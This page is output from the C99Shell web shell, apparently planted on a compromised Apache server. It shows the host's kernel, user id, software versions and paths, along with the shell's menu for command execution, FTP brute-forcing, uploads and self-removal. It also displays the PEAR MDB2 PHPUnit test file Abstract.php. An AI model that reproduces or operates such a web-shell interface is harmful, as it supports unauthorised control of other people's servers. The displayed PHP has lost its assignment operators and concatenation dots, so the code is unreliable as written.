!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/test/MDB2/tests/Standard/   drwxr-xr-x
Free 9.91 GB of 61.93 GB (16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Abstract.php (12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// +----------------------------------------------------------------------+
// | PHP versions 4 and 5                                                 |
// +----------------------------------------------------------------------+
// | Copyright (c) 1998-2006 Manuel Lemos, Paul Cooper                    |
// | All rights reserved.                                                 |
// +----------------------------------------------------------------------+
// | MDB2 is a merge of PEAR DB and Metabases that provides a unified DB  |
// | API as well as database abstraction for PHP applications.            |
// | This LICENSE is in the BSD license style.                            |
// |                                                                      |
// | Redistribution and use in source and binary forms, with or without   |
// | modification, are permitted provided that the following conditions   |
// | are met:                                                             |
// |                                                                      |
// | Redistributions of source code must retain the above copyright       |
// | notice, this list of conditions and the following disclaimer.        |
// |                                                                      |
// | Redistributions in binary form must reproduce the above copyright    |
// | notice, this list of conditions and the following disclaimer in the  |
// | documentation and/or other materials provided with the distribution. |
// |                                                                      |
// | Neither the name of Manuel Lemos, Tomas V.V.Cox, Stig. S. Bakken,    |
// | Lukas Smith nor the names of his contributors may be used to endorse |
// | or promote products derived from this software without specific prior|
// | written permission.                                                  |
// |                                                                      |
// | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS  |
// | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT    |
// | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS    |
// | FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE      |
// | REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,          |
// | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, |
// | BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS|
// |  OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED  |
// | AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT          |
// | LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY|
// | WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE          |
// | POSSIBILITY OF SUCH DAMAGE.                                          |
// +----------------------------------------------------------------------+
// | Authors: Paul Cooper <pgc@ucecom.com>                                |
// |          Daniel Convissor <danielc@php.net>                          |
// +----------------------------------------------------------------------+
//
// $Id: Abstract.php 322076 2012-01-11 15:51:09Z danielc $

abstract class Standard_Abstract extends PHPUnit_Framework_TestCase {
    
/**
     * Should the tables be cleared in the setUp() and tearDown() methods?
     * @var bool
     */
    
protected $clear_tables true;

    
/**
     * The database name currently being tested
     * @var string
     */
    
public $database;

    
/**
     * The MDB2 object being currently tested
     * @var MDB2_Driver_Common
     */
    
public $db;

    
/**
     * The DSN of the database that is currently being tested
     * @var array
     */
    
public $dsn;

    
/**
     * The unserialized value of MDB2_TEST_SERIALIZED_DSNS
     * @var array
     */
    
protected static $dsns;

    
/**
     * Field names of the test table
     * @var array
     */
    
public $fields = array(
            
'user_name'     => 'text',
            
'user_password' => 'text',
            
'subscribed'    => 'boolean',
            
'user_id'       => 'integer',
            
'quota'         => 'decimal',
            
'weight'        => 'float',
            
'access_date'   => 'date',
            
'access_time'   => 'time',
            
'approved'      => 'timestamp',
    );

    
/**
     * Options to use on the current database run
     * @var array
     */
    
public $options;

    
/**
     * @var string  the name of the users table
     */
    
public $table_users 'mdb2_users';

    
/**
     * @var string  the name of the file table
     */
    
public $table_files 'mdb2_files';


    
/**
     * Override PHPUnit's default behavior so authentication data doesn't
     * get broadcasted
     */
    
protected function getDataSetAsString($strict true) {
        return 
parent::getDataSetAsString(false);
    }

    public static function 
setUpBeforeClass() {
        
$dsns unserialize(MDB2_TEST_SERIALIZED_DSNS);
        
self::$dsns $dsns;
    }

    
/**
     * A PHPUnit dataProvider callback to supply the connection info for tests
     * @uses mdb2_test_db_object_provider()
     * @return array  the $dsn and $options information for MDB2::factory()
     */
    
public function provider() {
        return 
mdb2_test_db_object_provider();
    }

    
/**
     * Establishes the class properties for each test
     *
     * Can not use setUp() because we are using a dataProvider to get multiple
     * MDB2 objects per test.
     *
     * @param array $ci  an associative array with two elements.  The "dsn"
     *                   element must contain an array of DSN information.
     *                   The "options" element must be an array of connection
     *                   options.
     */
    
protected function manualSetUp($ci) {
        
$this->db MDB2::factory($ci['dsn'], $ci['options']);
        if (
MDB2::isError($this->db)) {
            
$this->markTestSkipped($this->db->getMessage());
        }
        
$this->dsn self::$dsns[$this->db->phptype]['dsn'];
        
$this->options self::$dsns[$this->db->phptype]['options'];
        
$this->database $this->db->getDatabase();

        
$this->db->setDatabase($this->database);
        if (
$this->database == ':memory:') {
            
// Disable messages from other packages while building schema.
            
$prior error_reporting(E_ALL & ~E_STRICT & ~E_DEPRECATED);
            
build_schema($this->db);
            
error_reporting($prior);
        }
        
$this->db->expectError(MDB2_ERROR_UNSUPPORTED);
        
$this->clearTables();
    }

    public function 
tearDown() {
        if (!
$this->db || MDB2::isError($this->db)) {
            return;
        }
        
$this->clearTables();
        
$this->db->disconnect();
        
$this->db->popExpect();
        unset(
$this->db);
    }


    public function 
clearTables() {
        if (!
$this->clear_tables) {
            return;
        }
        
$this->db->exec('DELETE FROM ' $this->table_users);
        
$this->db->exec('DELETE FROM ' $this->table_files);
    }

    public function 
supported($feature) {
        if (!
$this->db->supports($feature)) {
            return 
false;
        }
        return 
true;
    }

    
/**
     * Checks if a result is an MDB2 error and calls the
     * appropriate PHPUnit method if it is
     *
     * + MDB2_ERROR_UNSUPPORTED: markTestSkipped(not supported)
     * + MDB2_ERROR_NOT_CAPABLE: markTestSkipped(not supported)
     * + MDB2_ERROR_NO_PERMISSION: markTestSkipped(lacks permission)
     * + MDB2_ERROR_ACCESS_VIOLATION: markTestSkipped(lacks permission)
     * + Other errors: fail(error details)
     *
     * NOTE: calling PHPUnit's skip and fail methods causes the current
     * test to halt execution, so no conditional statements or other error
     * handling are needed by this method or the test methods calling this
     * method.
     *
     * @param mixed $result   the query result to inspect
     * @param string $action  a description of what is being checked
     * @return void
     */
    
public function checkResultForErrors($result$action)
    {
        if (
MDB2::isError($result)) {
            if (
$result->getCode() == MDB2_ERROR_UNSUPPORTED
                
|| $result->getCode() == MDB2_ERROR_NOT_CAPABLE) {
                
$this->markTestSkipped("$action not supported");
            }
            if (
$result->getCode() == MDB2_ERROR_NO_PERMISSION
                
|| $result->getCode() == MDB2_ERROR_ACCESS_VIOLATION)
            {
                
$this->markTestSkipped("User lacks permission to $action");
            }
            
$this->fail("$action ERROR: ".$result->getUserInfo());
        }
    }

    
/**
     * @param MDB2_Result_Common $result  the query result to check
     * @param type $rownum  the row in the $result to check
     * @param type $data  the expected data
     * @return bool
     */
    
public function verifyFetchedValues(&$result$rownum$data) {
        
$row $result->fetchRow(MDB2_FETCHMODE_ASSOC$rownum);
        if (!
is_array($row)) {
            
$result->free();
            
$this->fail('Error result row is not an array');
            return;
        }

        foreach (
$this->fields as $field => $type) {
            
$value $row[$field];
            if (
$type == 'float') {
                
$delta 0.0000000001;
            } else {
                
$delta 0;
            }
            
$this->assertEquals($data[$field], $value"the value retrieved for field \"$field\" doesn't match what was stored into the rownum $rownum"$delta);
        }
    }

    public function 
getSampleData($row 1) {
        
$data = array();
        
$data['user_name']     = 'user_' $row;
        
$data['user_password'] = 'somepass';
        
$data['subscribed']    = $row true false;
        
$data['user_id']       = $row;
        
$data['quota']         = strval($row/100);
        
$data['weight']        = sqrt($row);
        
$data['access_date']   = MDB2_Date::mdbToday();
        
$data['access_time']   = MDB2_Date::mdbTime();
        
$data['approved']      = MDB2_Date::mdbNow();
        return 
$data;
    }

    
/**
     * Populates the user table with some data and then returns the data for
     * later comparison
     *
     * @param int $rows  the number for rows to insert
     * @return array  a multi-dimensional associative array of the data inserted
     */
    
public function populateUserData($rows 1) {
        
$result $this->db->loadModule('Extended');
        if (
MDB2::isError($result)) {
            
$this->fail('populateUserData() problem loading module: ' $result->getUserInfo());
        }

        
$this->db->loadModule('Extended');
        
$stmt $this->db->extended->autoPrepare($this->table_users,
            
array_keys($this->fields),
            
MDB2_AUTOQUERY_INSERTnull$this->fields);

        if (
MDB2::isError($stmt)) {
            
$this->fail('populateUserData() problem preparing statement: ' $stmt->getUserInfo());
        }

        
$data_save = array();
        
$data_return = array();
        for (
$i 0$i $rows$i++) {
            
$row $this->getSampleData($i);
            
$data_save[] = array_values($row);
            
$data_return[] = $row;
        }

        
$result $this->db->extended->executeMultiple($stmt$data_save);
        if (
MDB2::isError($result)) {
            
$this->fail('populateUserData() problem inserting the data: ' $result->getUserInfo());
        }

        return 
$data_return;
    }

    public function 
methodExists(&$class$name) {
        if (
is_object($class)
            && 
in_array(strtolower($name), array_map('strtolower'get_class_methods($class)))
        ) {
            return 
true;
        }
        
//$this->fail('method '. $name.' not implemented in '.get_class($class));
        
return false;
    }

    public function 
tableExists($table) {
        
$this->db->loadModule('Manager'nulltrue);
        
$tables $this->db->manager->listTables();
        if (
MDB2::isError($tables)) {
            
//$this->fail('Cannot list tables: '. $tables->getUserInfo());
            
return false;
        }
        return 
in_array(strtolower($table), array_map('strtolower'$tables));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5133 ]--